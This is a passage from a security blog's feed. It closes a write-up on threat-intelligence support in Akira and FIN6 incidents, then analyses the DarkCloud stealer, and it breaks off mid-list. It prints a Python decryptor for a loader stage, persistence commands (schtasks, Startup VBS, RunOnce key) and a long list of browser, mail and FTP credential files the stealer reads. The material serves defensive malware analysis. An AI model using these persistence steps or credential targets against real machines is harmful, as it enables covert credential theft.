across Akira, the famous Ransomware group, in which the scheme we will follow will be more focused on the relationship with DFIR teams, but where TH will also have its collaboration.</p><div style="display: flex; justify-content: center; gap: 10px;">  <img src="/images/cti_drk/40.png" alt="img1" width="400">  <img src="/images/cti_drk/41.png" alt="img2" width="400"></div><p>The milestones we are going to try to achieve are exactly the same as in the previous case, but in this incident there was a particularity, and that is that as we discussed in the previous point, CTI must keep all the information related to milestones or incidents from other departments in order to serve as a guide or memory at specific times. In this case, the IR team, on the first day, was only given information about how the sample had been executed, as well as the name of the path and folder. As usually happens in incidents, there are times when the client does not yet have the information or buries the colleagues in work. With the pattern of how it was being executed, the file name, etc., we were able to match the provided information, since we had seen Akira before, we had already analyzed the adversary after previous incidents, and we had external and internal information. In short, with a single execution, we could infer that it could be this actor (since it followed the same patterns), search in our DDBB and indeed it matched almost perfectly.</p><p>This action made it possible that from the first minute of the incident we could already help and provide context about the threat, as well as anticipate attribution (until more evidence was available).</p><p><img src="/images/cti_drk/42.png" alt="0"></p><p>The next day, the famous Readme files appeared, as well as pictures of the extensions, and we were able to confirm all the information. However, thanks to this quick CTI response, we were able to advance the work, collect current information on Akira, update TTPs, tool arsenal, etc., which served as context so that the response teams would know what to look for in the upcoming logs.</p><p><img src="/images/cti_drk/43.png" alt="0"></p><p>Thus, we as CTI, as in the previous case, will try to help with whatever our colleagues need, adapting to the needs and taking into account the milestones we can fulfill.</p><p><img src="/images/cti_drk/44.png" alt="0"></p><p>In this case, the sample was recovered and it was necessary to obtain information from the binary to extract the most important functions, understand how it worked, extract more IOCs, etc. This point, besides being informative for the report, serves to understand its capabilities as well as to compare them with what we already had.</p><p>Starting with the analysis, we can see how Akira prepares Logs, as usually happens with Ransomware groups that are starting, to record everything that happens and keep track.</p><p><img src="/images/cti_drk/45.png" alt="0"><br><img src="/images/cti_drk/46.png" alt="0"><br><img src="/images/cti_drk/47.png" alt="0"></p><p>On the other hand, it maintains control of the processes that are running, enumerating them, iterating through them, and looking for those that are on its blacklist to kill them. This will prevent processes related to debugging, analysis, etc. from being active.</p><p><img src="/images/cti_drk/48.png" alt="0"><br><img src="/images/cti_drk/49.png" alt="0"><br><img src="/images/cti_drk/50.png" alt="0"></p><p>Other typical control measures that can be useful for the teams we are supporting are propagation and lateral movement, since many Ransomwares look for nearby disks and networks to spread. This gives us contextual information that if one device has been affected, all those around it (shared folders, network drives, etc.) should also be affected, allowing us to discover more compromised systems.</p><p><img src="/images/cti_drk/51.png" alt="0"><br><img src="/images/cti_drk/52.png" alt="0"></p><p>A common point is the deletion of shadowcopies to prevent system recovery, where Akira instead of having a preset string, deobfuscates it at runtime, preventing it from being detected by static analysis techniques or tools, constructing the PowerShell command that it will later execute.</p><p><img src="/images/cti_drk/53.png" alt="0"><br><img src="/images/cti_drk/54.png" alt="0"><br><img src="/images/cti_drk/55.png" alt="0"><br><img src="/images/cti_drk/56.png" alt="0"></p><p>Modern Ransomwares almost all currently work with multi-threading, Akira is no exception, so we will see how it opens several threads, which it controls with semaphores, and executes the most critical functionalities. We can see how one thread will go through each folder, checking if it is valid, writing the ransom Readme, etc.</p><p><img src="/images/cti_drk/57.png" alt="0"><br><img src="/images/cti_drk/58.png" alt="0"><br><img src="/images/cti_drk/59.png" alt="0"><br><img src="/images/cti_drk/60.png" alt="0"></p><p>In other threads it will check each file, since like most Ransomwares, it does not want to affect certain binaries, and it will check the size, change their extension, and later apply the algorithm to render the files unusable.</p><p><img src="/images/cti_drk/61.png" alt="0"><br><img src="/images/cti_drk/62.png" alt="0"><br><img src="/images/cti_drk/63.png" alt="0"><br><img src="/images/cti_drk/64.png" alt="0"><br><img src="/images/cti_drk/65.png" alt="0"><br><img src="/images/cti_drk/66.png" alt="0"></p><p>At this point we must think about what we can receive and give during the incident. Our colleagues may have extracted interesting information, as was the case with brute forces and connections from certain remote IPs (Orange), this can be used to look for other similar infrastructures and try to block access, as well as to collect more IOCs. Even if it is not necessary in this case, it could be useful for possible attributions. Likewise, knowing how it moves internally, we could design rules with TH to learn all the technical details (ports used, commands, etc.). We also have file names or paths extracted from the malware analysis, as well as lateral movements, which we can translate for DFIR and TH teams.</p><p><img src="/images/cti_drk/67.png" alt="0"></p><p>The key example is the following, where different addresses were pivoted and one of them led us to a specific reported IP, which was exactly the same as the one we were seeing, indicating that they had not changed the infrastructure in this case.</p><p><img src="/images/cti_drk/68.png" alt="0"></p><p>In this case the points were resolved together with the collaboration of DFIR and TH, since the affected devices, with the contextual information and TTPs we had provided, plus the log review and TH assistance with query design, were able to determine the impact on the infrastructure. Throughout the incident we were collecting all TTPs and IOCs internally and externally, storing and using them during the incident, as well as the attribution that had already been resolved or the malware analysis. In the case of the execution chain we understood what our colleagues were extracting from the logs and organized the information to understand the full execution chain, comparing it with external and internal data and storing all of it.</p><p><img src="/images/cti_drk/69.png" alt="0"></p><p>During the incident, it is an interesting point from CTI’s side to build Diamond Models to summarize what happened, being an added value to the reports and an internal aid that we will keep in each work we perform.</p><p><img src="/images/cti_drk/70.png" alt="0"></p><p>In the same way, we should work on the execution chain mentioned before in a graphical way, just as we did with BlindEagle.</p><p><img src="/images/cti_drk/71.png" alt="0"></p><p>The final result and lessons learned are similar to the previous case, with the addition that in this case there is no need to think so much about which clients may be interested, as almost all are interested in a Ransomware case, so the sharing of information becomes more relevant for both technical and non-technical teams, where business or marketing teams can share simplified versions or strategic information of what happened with clients.</p><p><img src="/images/cti_drk/72.png" alt="0"></p><h2 id="FIN6"><a href="#FIN6" class="headerlink" title="_FIN6"></a>_FIN6</h2><p>The third case is based on FIN6 and will have a direct connection with response and TH teams</p><div style="display: flex; justify-content: center; gap: 10px;">  <img src="/images/cti_drk/73.png" alt="img1" width="400">  <img src="/images/cti_drk/74.png" alt="img2" width="400"></div><p>The idiosyncrasy of this incident is different, since the TH team had seen a similar campaign some time before but had not been able to determine anything conclusive. However, the detection systems were able to stop the threat at early stages so there was no alarm. In a second iteration, where the adversary struck again, panic spread since it managed to go further and the teams were still unable to determine key points to perform an in-depth analysis, so we had to work against the clock and correlate the information to reach actionable intelligence.</p><p><img src="/images/cti_drk/75.png" alt="0"></p><p>In this case, we focused on trying to identify the actor as well as the possible execution chain to resolve the other points.</p><p><img src="/images/cti_drk/76.png" alt="0"></p><p>The only thing our colleagues could provide was a jscript execution that launched a txt (which was actually a js), and from there we had to move from a CTI perspective.</p><p><img src="/images/cti_drk/77.png" alt="0"></p><p>In this case, we followed every clue to try to identify the actor and the execution chain to be able to unlock the remaining milestones.</p><p><img src="/images/cti_drk/78.png" alt="0"></p><p>We started by seeing what had happened moments before, where an execution of msxsl launching another txt with a similar pattern was observed, abusing this LOLBAS to execute malicious code (which we did not yet have at that moment).</p><p><img src="/images/cti_drk/79.png" alt="0"></p><p>With this information, we tried to search in public sources and sandboxes for any information that correlated, performing regex searches and looking from different perspectives considering the commands seen. In this search we found a very old tweet from Vitali (this man unfortunately passed away a few years ago and his work remains remarkable, what a legend).</p><p><img src="/images/cti_drk/80.png" alt="0"></p><p>With the possibility that it could be More_Eggs, we began analyzing reports, the most recent ones possible, and found cross-references that, when added to this campaign and the observed behavior, matched quite well even after several years.</p><p><img src="/images/cti_drk/81.png" alt="0"></p><p>At that point, we were able to recover the txt files and search more specifically in strings and create yaras from them to pivot to more precise information, where we found Proofpoint reports that matched TTPs as well as content almost perfectly with what we had seen on the affected devices.</p><p><img src="/images/cti_drk/82.png" alt="0"></p><p>In this line of research we reached a Trend Micro report whose graphic perfectly explained the modus operandi and greatly helped to visually understand the campaign we were seeing, a resource that we would use later.</p><p><img src="/images/cti_drk/83.png" alt="0"></p><p>In this case, even without ensuring anything about the TA, we decided to collect all the TTPs from the different reports we had gathered and worked together with TH to design queries and try to see if it fit the various observed modus operandi.</p><p>In the threat context, we knew there had to be an execution abusing a library, based on the information seen, so we searched for rundll32 or regsvr32 executions and found information that helped us move laterally to understand how the threat was occurring.</p><p><img src="/images/cti_drk/84.png" alt="0"><br><img src="/images/cti_drk/85.png" alt="0"></p><p>From these executions, which were very similar, we inferred that there might have been an obfuscated cmd execution moments before.</p><p><img src="/images/cti_drk/86.png" alt="0"></p><p>This execution was usually triggered by an LNK that someone had manually opened (explorer.exe) and therefore detonated the rest, so we searched for LNK executions.</p><p><img src="/images/cti_drk/87.png" alt="0"></p><p>Someone must have downloaded this script somehow, so by searching for the same name (Heather Nickel), we found the download (in ZIP format) as well as the auxiliary file in jpg format, exactly as seen in the reports.</p><p><img src="/images/cti_drk/88.png" alt="0"><br><img src="/images/cti_drk/89.png" alt="0"></p><p>At first we were only able to observe a small part of the defense evasion, however, we were able to extract and expand the obtained information towards the execution, even part of the initial access, collecting a large portion of the execution chain.</p><p><img src="/images/cti_drk/90.png" alt="0"></p><p>At this point we were able to delve deeper into the initial access and confirmed that it worked in the same way, using a person’s name such as “Heather Nickel”, “John Cboins”, “William Lynch”, etc., which was used as a lure to apply for jobs or similar excuses, where they sent us download URLs that ended up generating a compressed file download that started the whole process. Similarly, we inferred that communications to external domains with the same name pattern were used, so we found these communications, which also led us to find more samples by pivoting through public sandboxes, increasing our knowledge about the campaign and obtaining variants of what we had already seen.</p><p><img src="/images/cti_drk/91.png" alt="0"><br><img src="/images/cti_drk/92.png" alt="0"></p><p>At this point, we had the execution chain very clear, being able to also confirm the actor since, through commands, incident indicators, and script yaras, we reached reports or information pointing to the same actor. This information helped us search both in this client and others with the same profile, greatly increasing the number of initially confirmed affected devices.</p><p><img src="/images/cti_drk/93.png" alt="0"></p><p>As you can see, not all milestones in this case are covered, since intelligence in certain cases cannot achieve all its objectives. We tried to recover the More_Eggs but it was not possible (due to the technology used), so we did not complete either the malware analysis or the full collection of TTPs and IOCs, as we were missing a key piece. However, it is always important to go as far as possible with the information available, and thanks to the joint action of different teams, we were able to determine the entire campaign, find many more affected devices, and collect a large number of distinct TTPs and IOCs that completed or added to the information we already had, being more than enough to fulfill our mission, even with the limitations we clearly had.</p><p><img src="/images/cti_drk/94.png" alt="0"></p><p>Regarding the lessons learned, it is imperative that any new information must be pursued to try to reach the malware and complete the investigation, in the same way as fulfilling the same requirements as in the previous points, but with the additional factor that this campaign had extra sophistication and required improvement in email detection or communications with domains following the observed patterns, since adversaries like this one, as well as some APTs (especially from DPRK) such as Lazarus or Kimsuky, have used similar techniques, so it is worth considering detection techniques for such activities.</p><p><img src="/images/cti_drk/95.png" alt="0"></p><h1 id="Conclusion"><a href="#Conclusion" class="headerlink" title="_Conclusion"></a>_Conclusion</h1><p>Throughout the three incidents we have tried to maintain correlation with at least two other teams, but as mentioned earlier, this is only temporary, since as CTI we must be able to move the precise information to those teams that can make use of it.</p><p><img src="/images/cti_drk/96.png" alt="0"></p><p>A key example are the less technical teams dedicated to Business, Marketing, etc. These teams can obtain great benefit from the information extracted from these incidents. In all of them, we can create an executive version that they can share both with potential clients who have the same profile as the victims and with our current customers. Likewise, they can make press releases with information about how events unfolded, to raise interest toward deeper investigations or adapt it to the customer’s landscape. We can also extract relevant information, as there will be new TTPs or malware families that we can use. Has a CVE been exploited in X technology? All our clients who we know use it will appreciate that information. In the same way, the collection of information about incidents, if we keep everything that happens in different teams, allows us to know what is trending compared with what we see externally, which is very valuable information for all clients and other teams, since DFIR, TH, SOC, or Offensive teams can all benefit from knowing techniques, tools, malware, or adversaries currently in the spotlight. This helps them take defensive measures or gain ideas for future exercises.</p><p><img src="/images/cti_drk/97.png" alt="0"></p><p>On the other hand, offensive teams can obtain useful information about TTPs or tools seen during incidents. In addition, analyses of these have been carried out, so there is usable information that can be shared with them. Have we built a lab, launched samples, or reversed them? Knowing how they behave, giving them access or the specific information of how it happened, helps them think about new scenarios. In the same way, if there are new CVEs being exploited, whether from internal incident information or from external sources, we can help directly if we also adapt any kind of information to their way of working. Do they use MITRE? What does the team want to improve for the next audits? We can be a point of support simply by giving a double use to the information found in other teams.</p><p><img src="/images/cti_drk/98.png" alt="0"></p><p>As discussed, the strength that comes from merging with other teams gives CTI a broad vision, allowing it to be relevant in different aspects of operations. Evidently, each team must understand what components make up their structure, establish procedures, and define a stack that fits, so that intelligence makes that difference which, in the short term, may not seem so relevant, but in the medium and long term establishes maturity and maximizes the use of information that intelligence generates and reuses in each event that occurs within the company.</p><p>This concept is simply a Tier 1, where the second Tier should be to take this idea to other companies and merge with teams from other organizations as well, extracting benefit and information both internally and externally so that both our company and the one we provide service to can reuse and feed back from it, having as many inputs as possible. Obviously, even though CTI has existed for years in a more “hidden” way, it is still a relatively new role that needs to mature, and company executive lines must understand its usefulness as well as its potential. The same thing happened with TH (and still hasn’t been fully achieved), as these are very complex teams with tasks that can evolve and grow, becoming highly differentiating factors in operational environments</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;ℹ️️ &lt;em&gt;This is a summary of the talk on intelligence called “CTI: The Dark Cloak” that took place in October at the “Navaja Negra” conference. The video can be found on &lt;a href=&quot;https://www.youtube.com/watch?v=jVmOkso6EO8&amp;t&quot;&gt;YouTube&lt;/a&gt; (only in Spanish), so I have created this blog post to have it in another format and with more complex explanations so that the information can also be accessed in written form (and in English)&lt;/em&gt; ℹ️️&lt;/p&gt;
&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;The talk focuses on tactical and operational intelligence, while also touching on the strategic side, from two perspectives, business and technical. The goal is to understand what role CTI should play within a company and how, as members of a cohesive CTI team where the three intelligence levels work together, we can support both technical and non-technical teams to integrate intelligence across the entire organization. This integration adds value not only to the intelligence team itself but also amplifies or generates intelligence within other departments&lt;/p&gt;
&lt;p&gt;It was divided into two sections: the first two points (“Objectives and scope of intelligence” and “How to leverage intelligence?”) focused on a more executive environment, where we tried to understand current challenges and possible solutions for intelligence work within modern companies. The remaining sections were more practical, applying the proposed changes to support other colleagues from a CTI perspective.&lt;/p&gt;
&lt;p&gt;Thus, the topics covered were as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Objectives and scope of intelligence&lt;ul&gt;
&lt;li&gt;Understanding where you are&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;How to leverage intelligence? How do we do it?&lt;ul&gt;
&lt;li&gt;Now what?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Connecting the dots – Real cases&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    <category term="Talk" scheme="https://rexorvc0.com/categories/Talk/"/>
    
    
    <category term="TA" scheme="https://rexorvc0.com/tags/TA/"/>
    
    <category term="Conference" scheme="https://rexorvc0.com/tags/Conference/"/>
    
    <category term="Talk" scheme="https://rexorvc0.com/tags/Talk/"/>
    
  </entry>
  
  <entry>
    <title>DarkCloud</title>
    <link href="https://rexorvc0.com/2025/03/31/DarkCloud/"/>
    <id>https://rexorvc0.com/2025/03/31/DarkCloud/</id>
    <published>2025-03-31T06:00:00.000Z</published>
    <updated>2025-03-30T20:20:49.784Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>DarkCloud is a type of malware categorized as a Stealer, which has evolved over time and positioned itself as one of the most widely used in its category. DarkCloud began making an impact in 2022 and gained relevance that same year and in 2023 by being promoted in various forums showcasing its functionalities. As usual, it was sold through different sources, often leading buyers to communicate via Telegram for its acquisition.</p><p>The execution and distribution of this Stealer have been driven by phishing campaigns, where attackers impersonated various companies or disguised their attacks as payment receipts, fines, and other commonly used tactics aimed at compromising HR departments or similar targets. However, it has also been used in other, less frequent campaigns, where users were directed to download or execute malicious samples through infected products or websites, employing techniques such as malvertising, watering hole attacks, or similar methods. Additionally, it has occasionally been deployed alongside other malware acting as loaders or launched in conjunction with similar threats, such as DbatLoader or ClipBanker.</p><span id="more"></span><br><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>The distribution method, as we mentioned, can vary, but in the vast majority of samples I have encountered, phishing has been the primary focus. Therefore, we can say that phishing is the most common distribution technique for DarkCloud, even though it has been associated with other methods. Once the victim accesses the link or downloads the file, they may encounter compressed files leading to a loader, documents, or even scripts in different languages that initiate execution. After this, a loader is executed, which typically downloads the next stage or contains it within its resources, obfuscated or encrypted, to extract the next module. This module will execute DarkCloud in memory before injecting it. The final step is the theft of various types of information, including browser data, FTP credentials, screenshots, keylogging, and more.</p><p>A diagram summarizing the most common versions I have encountered and attempting to unify them into a single representation is as follows:</p><p><img src="/images/DRK/0.png" alt="0"></p><p>During the analysis process, I have come across various samples that all aim to achieve the same goal—executing DarkCloud. While respecting the different versions, I will highlight the most relevant and distinct ones I have found to provide a clearer understanding of the various existing variables. However, I will avoid excessive detail to keep the explanation engaging rather than tedious.</p><p>As mentioned earlier, the most common approach involves phishing attempts using documents, compressed files, or other formats.</p><p><img src="/images/DRK/1.png" alt="1"><br><img src="/images/DRK/2.png" alt="2"></p><p>Going straight to the point, in an initial execution of one of the samples I analyzed, we see a rather extensive process—a succession of execution copies launched in temporary paths.</p><p>Once the victim falls for the phishing attack, they may be led to different types of loaders. Some of these can be scripts, covering a wide range of formats, from JAR and BAT to PowerShell (PS). It’s quite interesting to see the variety of types I have encountered, especially considering that I generally do not analyze samples from previous years.</p><h2 id="Script-Loader-Versions"><a href="#Script-Loader-Versions" class="headerlink" title="_Script Loader Versions"></a>_Script Loader Versions</h2><p>In the case of JAR files, they retrieve the information for the next stage using embedded resources—something that, as we will see, is not the common trend in DarkCloud.</p><p><img src="/images/DRK/3.png" alt="3"></p><p>In other versions, such as those written in PowerShell, which are more common, we can observe executions where, after multiple and varied obfuscation techniques for each type, the process leads either to a download or to the extraction of a binary. This binary, in its resources, contains the next stage, which in this case is an AutoIT script.</p><p><img src="/images/DRK/4.png" alt="4"></p><p>At this stage, several tasks are performed, such as the creation of a VBS file (a very common practice, as you will see) in startup-like folders to establish persistence. Ultimately, this specific sample carried out an injection into svchost, but we will explore that in more depth later.</p><p><img src="/images/DRK/6.png" alt="6"></p><p>To wrap up the discussion on scripts, another frequent scenario involves encountering VBS&#x2F;PowerShell scripts—more or less obfuscated—that establish a connection to download and execute the payload. This method is similar to the one previously observed in PowerShell. If the download link is down, however, the process reaches a dead end—something quite typical for this malware. As I mentioned earlier, a large number of samples follow this step at some point. Here are some additional examples.</p><p><img src="/images/DRK/7.png" alt="7"></p><h2 id="Most-common-loader-stage"><a href="#Most-common-loader-stage" class="headerlink" title="_Most common loader stage"></a>_Most common loader stage</h2><p>Moving on to another category of samples, where I will expand on the information a bit more, we have those typically based on .NET. These can act as loaders or appear in the second stage, depending on the version. Among these, there are many similar samples, often utilizing different obfuscators.</p><p><img src="/images/DRK/8.png" alt="8"></p><p>After working with several of these obfuscators, we usually reach an initial function where the samples, in different ways, request the next stage to process it. This poses a problem, as you might expect, because unless the sample is very recent, it is likely already inactive and cannot be retrieved. This means we get stuck at the dynamic analysis stage (debugging and such things), and we will only be able to rely on our sharp eyesight to understand everything statically. Personally, I dislike this approach, as I prefer to examine all (or most) of the functions to gain a deeper understanding of everything the malware does.</p><p><img src="/images/DRK/9.png" alt="9"></p><p>As we can see, when we try to load the path and therefore, the binary, it will crash and we will have a dead end.</p><p><img src="/images/DRK/10.png" alt="10"></p><h2 id="Technical-Issues"><a href="#Technical-Issues" class="headerlink" title="_Technical Issues"></a>_Technical Issues</h2><p>I wanted to dive deeper into a specific topic in case it helps someone, but it doesn’t affect the overall understanding of the analysis. So, if you’re not interested, feel free to skip it (You can follow the analysis in “<a href="#following-the-thread"><em>Following the thread</em></a>” section). In this case, we reached a DarkCloud sample which, in most cases (if we want to roll back and don’t have fresh samples), makes requests to a specific domain to download the next stage, as we’ve seen. This might seem like a trivial issue, but it’s actually quite serious if you truly want to analyze in detail how a sample works—or, in this case, how multiple variants of the same malware behave.</p><p>Sometimes, it’s a good strategy to try and obtain the file that is being downloaded. Tools like VT (VirusTotal), Any.Run, JoeSandbox, Tria.ge, and others make this relatively easy, as long as we know the IP or domain the sample is contacting. We can then pivot and take a more h4ck3r-like approach, capturing packets (.pcap) to inspect the received data—how deep you want to go into this is up to you. However, in this case, additional steps were required because the sample requested the file at runtime to modify, process, and then execute or load it. This adds an extra challenge, as we need to understand the sample, debug it up to the right point, and manipulate it so that it processes correctly.</p><p>I came up with three ways to approach this (I know there are many more, and yours is probably better), and to keep things simple, I tested them on multiple examples but will only show one to stay focused:</p><h3 id="Setting-Up-an-HTTP-Server-and-Hosting-the-Sample-Locally"><a href="#Setting-Up-an-HTTP-Server-and-Hosting-the-Sample-Locally" class="headerlink" title="_Setting Up an HTTP Server and Hosting the Sample Locally"></a>_Setting Up an HTTP Server and Hosting the Sample Locally</h3><p>This is probably the simplest option. It involves extracting the sample (which we would have retrieved by pivoting and identifying what it wants to download), placing it in a directory like C:\\ , modifying the hosts file to point to our local machine, and starting an HTTP server using Python. I chose port 80 even though the request was originally HTTPS, because changing an “s” in the debugger is obviously much easier. Once we reach the same execution point, we can observe what the sample serves and proceed further.</p><p><img src="/images/DRK/11.png" alt="11"></p><h3 id="Modifying-Traffic-with-Fiddler"><a href="#Modifying-Traffic-with-Fiddler" class="headerlink" title="_Modifying Traffic with Fiddler"></a>_Modifying Traffic with Fiddler</h3><p>Sometimes, I like using Fiddler, so I wanted to test it in this scenario. I simply created a rule that, when the specific URL was requested, it would serve the file from my local directory. Some configuration changes were required in Fiddler to redirect traffic to localhost. Of course, I also modified the hosts file. In this case, I set up test.com to point to localhost. Once the sample reached the same function, I made the same modification as before—switching to HTTP—to ensure it received the file at runtime.</p><p><img src="/images/DRK/12.png" alt="12"></p><h3 id="Combining-Techniques"><a href="#Combining-Techniques" class="headerlink" title="_Combining Techniques"></a>_Combining Techniques</h3><p>For the third approach, I experimented with a hybrid method. I kept the same rules as before but changed the URL to one I was serving on test.com, with the file located in C:. When the execution reached the crucial point, I changed the URL, and it loaded successfully.</p><p><img src="/images/DRK/13.png" alt="13"></p><h2 id="following-the-thread">Following the thread</h2><p>After obtaining and loading the file at runtime, the next step involves key generation. As mentioned earlier, it’s very common for pre-loader stages to deobfuscate or decrypt some part of the code—or even an entire file.</p><p><img src="/images/DRK/14.png" alt="14"></p><p>At this stage, we can see that the PDF was loaded into an array, and indeed, it matches the one we had retrieved via pivoting.</p><p><img src="/images/DRK/15.png" alt="15"><br><img src="/images/DRK/16.png" alt="16"></p><p>From here, the usual process follows: the code undergoes processing, whether through deobfuscation or decryption. In this example, the technique used is Base64 + TripleDES.</p><p><img src="/images/DRK/17.png" alt="17"></p><p>We observe how the keys are processed</p><p><img src="/images/DRK/18.png" alt="18"></p><p>After this we will see that at the end of the function we can obtain the processed binary</p><p><img src="/images/DRK/19.png" alt="19"></p><p>At this point, we can go full h4ck3r mode again and verify that we are on the right track and truly understand the process. For example, we can write Python code to handle the extracted file and perform the decryption ourselves.</p><pre class="line-numbers language-none"><code class="language-none">from Crypto.Cipher import DES3import binascii#KeysrgbKey &#x3D; bytes([0x39, 0x1C, 0x8A, 0x9E, 0x80, 0xC2, 0xF8, 0xDF, 0x36, 0x3E, 0x46, 0xFB, 0xD9, 0x12, 0x09, 0xBA])rgbIV  &#x3D; bytes([0xA3, 0x4B, 0x1F, 0xEB, 0x28, 0xFE, 0x46, 0xEA])#Hex datahex_data &#x3D; &quot;&lt;redacted&gt;&quot;ciphertext &#x3D; binascii.unhexlify(hex_data) #Decrypt Triple DES (3DES)cipher &#x3D; DES3.new(rgbKey, DES3.MODE_CBC, rgbIV)plaintext &#x3D; cipher.decrypt(ciphertext)#Savewith open(&quot;output.exe&quot;, &quot;wb&quot;) as f:    f.write(plaintext)print(&quot;Saved as output.exe&quot;)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>In both cases, we should be able to extract a binary, which is then loaded into memory.</p><p><img src="/images/DRK/20.png" alt="20"><br><img src="/images/DRK/21.png" alt="21"></p><p>Decryption Result in a Graphical Format</p><p><img src="/images/DRK/22.png" alt="22"></p><p>I tested this myself, and as expected, we received the same content in both cases.</p><p><img src="/images/DRK/23.png" alt="23"><br><img src="/images/DRK/24.png" alt="24"></p><p>To make the binary extraction process more visual, here’s a summary in graphical form:</p><p><img src="/images/DRK/25.png" alt="25"></p><p>Once we reach this stage, what we obtain in most cases is a library that loads the code into memory. However, it also performs other tasks, such as creating additional persistence mechanisms.</p><p><img src="/images/DRK/26.png" alt="26"><br><img src="/images/DRK/27.png" alt="27"></p><p>After loading the library module, it carries out actions like creating scripts in temporary folders or startup-type directories. We’ve seen this before, but it’s not the only persistence mechanism I’ve encountered—some samples also modify registry settings or scheduled tasks.</p><p><img src="/images/DRK/28.png" alt="28"></p><p>Examples of Different Persistence Methods</p><pre class="line-numbers language-none"><code class="language-none">schtasks.exe &#x2F;Create &#x2F;TN &quot;Updates\&lt;RandName&gt;&quot; &#x2F;XML &quot;C:\Users\&lt;user&gt;\AppData\Local\Temp\&lt;DroppedFile&gt;&quot;C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\&lt;RandName&gt;.vbsKey: *\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce - Data: *\AppData\Roaming\Microsoft\Windows\Templates\&lt;RandName&gt;.exe<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><img src="/images/DRK/29.png" alt="29"></p><p>Ultimately, everything culminates in the injection of a VB-based binary, which is the Stealer. This gets injected into a process of its choosing. I’ve seen a variety of targets, ranging from RegSvc to .NET files, and even the loader process itself. As is common with RATs and Stealers, this technique is designed to evade detection and complicate analysis. It is much easier to spot an unusual process or file than to analyze or detect something that resides in the memory of a legitimate system process.</p><p>Here’s a list of the most commonly used processes I’ve observed:</p><ul><li>Svchost</li><li>InstallUtil</li><li>MSBuild</li><li>Itself</li></ul><p><img src="/images/DRK/30.png" alt="30"></p><p>I didn’t want to go too deep into the extraction of the second binary, since it follows a similar process but from a second-stage library. The end result is a VB-based binary with extensive capabilities, which I will now present in a more accessible format.</p><p><img src="/images/DRK/31.png" alt="31"></p><p>Once injected, DarkCloud exhibits a wide range of malicious activities. It systematically gathers information from web browsers, collects system data, and even harvests credit card details. Additionally, it closely monitors running processes and logs keystrokes, making it a highly capable and well-rounded piece of malware.</p><p><img src="/images/DRK/32.png" alt="32"></p><p>As a curiosity, while I was collecting all the command lines it executes, as well as the registry entries and other accessed locations, I noticed that the credit card-related regex used by DarkCloud had been copied in order from a site on GitHub (@michaelkeevildown)</p><p><a href="https://gist.github.com/michaelkeevildown/9096cd3aac9029c4e6e05588448a8841">michaelkeevildown Github</a></p><p><img src="/images/DRK/33.png" alt="33"></p><p>I leave you with the compilation of interesting paths&#x2F;logs&#x2F;cmd that I have compiled based on the extracted samples.</p><blockquote><p>Features</p></blockquote><ul><li>Screenshot</li><li>Keylogger</li><li>Get credentials</li><li>Get Computer Name&#x2F;Users</li><li>Mail Info</li><li>IMAP&#x2F;HTTP&#x2F;SMTP&#x2F;FTP&#x2F;NNTP&#x2F;NNTP&#x2F;POP3 Info</li><li>Password managers</li><li>Router info</li></ul><blockquote><p>Paths&#x2F;Files accessed</p></blockquote><pre class="line-numbers language-none"><code class="language-none">\Default\Login Data\ \User Data\ \WebData\\Logins.json\key3.db\key4.db\keyDBPath.db\signons.sqlite\keyDBPath.sqliteStorage\mail\Data\\Accounts\Account.rec0\Accounts\Account.tdat\Account.stg\Account.rec0\Local State\Microsoft\Windows\Templates\\accounts.xml\recentservers.xml\sitemanager.xmlSoftware\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Software\Microsoft\Windows Messaging Subsystem\Profiles\Software\FTPWare\COREFTP\SitesSoftware\Martin Prikryl\WinSCP 2\Sessions\Google\Chrome\User Data\Opera Software\Opera Stable\Yandex\YandexBrowser\User Data\360Chrome\Chrome\User Data\Comodo\Dragon\User Data\MapleStudio\ChromePlus\User Data\BraveSoftware\Brave-Browser\User Data\7Star\7Star\User Data\CocCoc\Browser\User Data\uCozMedia\Uran\User Data\Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer\CatalinaGroup\Citrio\User Data\NETGATE Technologies\BlackHawK\Profiles\8pecxstudios\Cyberfox\Profiles<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><blockquote><p>Software</p></blockquote><pre class="line-numbers language-none"><code class="language-none">OutlookfoxmailpidginCoreFTPWinSCPFTPWareFileZillaChromeOperaYandex360ChromeComodoMapleStudioChromiumTorchBraveIridium7StarAmigoCentBrowserChedotCocCocElements BrowserEpic Privacy BrowserKometaOrbitumSputnikuCozMediaVivaldiFenrir IncCitrioCoowonliebaoQIP SurfMicrosoft EdgeMozillaWaterfoxK-MeleonThunderbirdCyberfoxBlackHawK (NetGate)<span aria-hidden="true" 